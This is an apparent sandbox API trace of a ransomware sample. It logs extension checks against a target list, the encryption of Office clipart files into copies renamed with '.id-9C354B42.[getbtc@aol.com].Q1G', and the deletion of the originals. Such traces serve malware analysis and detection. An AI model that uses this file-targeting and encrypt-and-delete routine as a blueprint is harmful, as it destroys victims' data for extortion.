[0248.236] lstrlenW (lpString=".xlsx") returned 5 [0248.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.236] lstrlenW (lpString=".ppt") returned 4 [0248.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.236] lstrlenW (lpString=".zip") returned 4 [0248.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.236] lstrlenW (lpString=".rar") returned 4 [0248.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString=".bz2") returned 4 [0248.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString=".7z") returned 3 [0248.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.236] lstrlenW (lpString=".dbf") returned 4 [0248.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.236] lstrlenW (lpString=".1cd") returned 4 [0248.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.236] lstrlenW (lpString=".jpg") returned 4 [0248.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.236] lstrlenW (lpString=".doc") returned 4 [0248.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString=".docx") returned 5 [0248.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.236] lstrlenW (lpString=".pdf") returned 4 [0248.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.237] lstrlenW (lpString=".xls") returned 4 [0248.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.237] lstrlenW (lpString=".xlsx") returned 5 [0248.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.237] lstrlenW (lpString=".ppt") returned 4 [0248.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.237] lstrlenW (lpString=".zip") returned 4 [0248.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.237] lstrlenW (lpString=".rar") returned 4 [0248.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.237] lstrlenW (lpString=".bz2") returned 4 [0248.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.237] lstrlenW (lpString=".7z") returned 3 [0248.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.237] lstrlenW (lpString=".dbf") returned 4 [0248.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.237] lstrlenW (lpString=".1cd") returned 4 [0248.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.237] lstrlenW (lpString=".jpg") returned 4 [0248.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.237] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.237] lstrlenW (lpString="DD01170_.WMF") returned 12 [0248.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.243] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2404) returned 1 [0248.243] CloseHandle (hObject=0x200) returned 1 [0248.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0248.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.264] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.264] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.295] GetLastError () returned 0x0 [0248.295] ReadFile (in: hFile=0x3a0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x964, lpOverlapped=0x0) returned 1 [0248.324] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x970, lpOverlapped=0x0) returned 1 [0248.325] ReadFile (in: hFile=0x3a0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.325] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.325] SetEndOfFile (hFile=0x200) returned 1 [0248.325] CloseHandle (hObject=0x200) returned 1 [0248.325] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.325] SetEndOfFile (hFile=0x3a0) returned 1 [0248.327] CloseHandle (hObject=0x3a0) returned 1 [0248.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0248.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.328] lstrlenW (lpString=".doc") returned 4 [0248.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.328] lstrlenW (lpString=".docx") returned 5 [0248.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.328] lstrlenW (lpString=".pdf") returned 4 [0248.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.328] lstrlenW (lpString=".xls") returned 4 [0248.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.328] lstrlenW (lpString=".xlsx") returned 5 [0248.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.328] lstrlenW (lpString=".ppt") returned 4 [0248.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.328] lstrlenW (lpString=".zip") returned 4 [0248.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.328] lstrlenW (lpString=".rar") returned 4 [0248.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.328] lstrlenW (lpString=".bz2") returned 4 [0248.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.328] lstrlenW (lpString=".7z") returned 3 [0248.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.329] lstrlenW (lpString=".dbf") returned 4 [0248.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.329] lstrlenW (lpString=".1cd") returned 4 [0248.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.329] lstrlenW (lpString=".jpg") returned 4 [0248.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.329] lstrlenW (lpString=".doc") returned 4 [0248.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString=".docx") returned 5 [0248.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.329] lstrlenW (lpString=".pdf") returned 4 [0248.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString=".xls") returned 4 [0248.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.329] lstrlenW (lpString=".xlsx") returned 5 [0248.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.329] lstrlenW (lpString=".ppt") returned 4 [0248.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.329] lstrlenW (lpString=".zip") returned 4 [0248.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.329] lstrlenW (lpString=".rar") returned 4 [0248.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString=".bz2") returned 4 [0248.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString=".7z") returned 3 [0248.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.329] lstrlenW (lpString=".dbf") returned 4 [0248.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.329] lstrlenW (lpString=".1cd") returned 4 [0248.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0248.330] lstrlenW (lpString=".jpg") returned 4 [0248.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.330] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.330] lstrlenW (lpString="DD01176_.WMF") returned 12 [0248.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.339] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1888) returned 1 [0248.339] CloseHandle (hObject=0x3bc) returned 1 [0248.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0248.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.344] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.344] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0248.424] GetLastError () returned 0x0 [0248.424] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x760, lpOverlapped=0x0) returned 1 [0248.438] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x770, lpOverlapped=0x0) returned 1 [0248.439] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.439] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.439] SetEndOfFile (hFile=0x338) returned 1 [0248.439] CloseHandle (hObject=0x338) returned 1 [0248.439] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.439] SetEndOfFile (hFile=0x3bc) returned 1 [0248.441] CloseHandle (hObject=0x3bc) returned 1 [0248.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0248.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.442] lstrlenW (lpString=".doc") returned 4 [0248.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.442] lstrlenW (lpString=".docx") returned 5 [0248.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.442] lstrlenW (lpString=".pdf") returned 4 [0248.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.442] lstrlenW (lpString=".xls") returned 4 [0248.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.442] lstrlenW (lpString=".xlsx") returned 5 [0248.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.442] lstrlenW (lpString=".ppt") returned 4 [0248.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.442] lstrlenW (lpString=".zip") returned 4 [0248.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.442] lstrlenW (lpString=".rar") returned 4 [0248.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.442] lstrlenW (lpString=".bz2") returned 4 [0248.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.442] lstrlenW (lpString=".7z") returned 3 [0248.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.442] lstrlenW (lpString=".dbf") returned 4 [0248.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.442] lstrlenW (lpString=".1cd") returned 4 [0248.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.442] lstrlenW (lpString=".jpg") returned 4 [0248.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.443] lstrlenW (lpString=".doc") returned 4 [0248.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.443] lstrlenW (lpString=".docx") returned 5 [0248.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.443] lstrlenW (lpString=".pdf") returned 4 [0248.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.443] lstrlenW (lpString=".xls") returned 4 [0248.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.443] lstrlenW (lpString=".xlsx") returned 5 [0248.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.443] lstrlenW (lpString=".ppt") returned 4 [0248.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.443] lstrlenW (lpString=".zip") returned 4 [0248.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.443] lstrlenW (lpString=".rar") returned 4 [0248.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.443] lstrlenW (lpString=".bz2") returned 4 [0248.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.443] lstrlenW (lpString=".7z") returned 3 [0248.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.443] lstrlenW (lpString=".dbf") returned 4 [0248.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.443] lstrlenW (lpString=".1cd") returned 4 [0248.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0248.443] lstrlenW (lpString=".jpg") returned 4 [0248.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.443] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.444] lstrlenW (lpString="DD01186_.WMF") returned 12 [0248.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.444] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=8564) returned 1 [0248.444] CloseHandle (hObject=0x3bc) returned 1 [0248.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0248.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.444] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.444] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0248.445] GetLastError () returned 0x0 [0248.445] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2174, lpOverlapped=0x0) returned 1 [0248.456] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0248.457] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.457] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.457] SetEndOfFile (hFile=0x338) returned 1 [0248.457] CloseHandle (hObject=0x338) returned 1 [0248.457] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.457] SetEndOfFile (hFile=0x3bc) returned 1 [0248.459] CloseHandle (hObject=0x3bc) returned 1 [0248.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0248.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.461] lstrlenW (lpString=".doc") returned 4 [0248.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.461] lstrlenW (lpString=".docx") returned 5 [0248.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.461] lstrlenW (lpString=".pdf") returned 4 [0248.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.461] lstrlenW (lpString=".xls") returned 4 [0248.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.461] lstrlenW (lpString=".xlsx") returned 5 [0248.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.461] lstrlenW (lpString=".ppt") returned 4 [0248.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.461] lstrlenW (lpString=".zip") returned 4 [0248.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.461] lstrlenW (lpString=".rar") returned 4 [0248.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.461] lstrlenW (lpString=".bz2") returned 4 [0248.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.461] lstrlenW (lpString=".7z") returned 3 [0248.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") 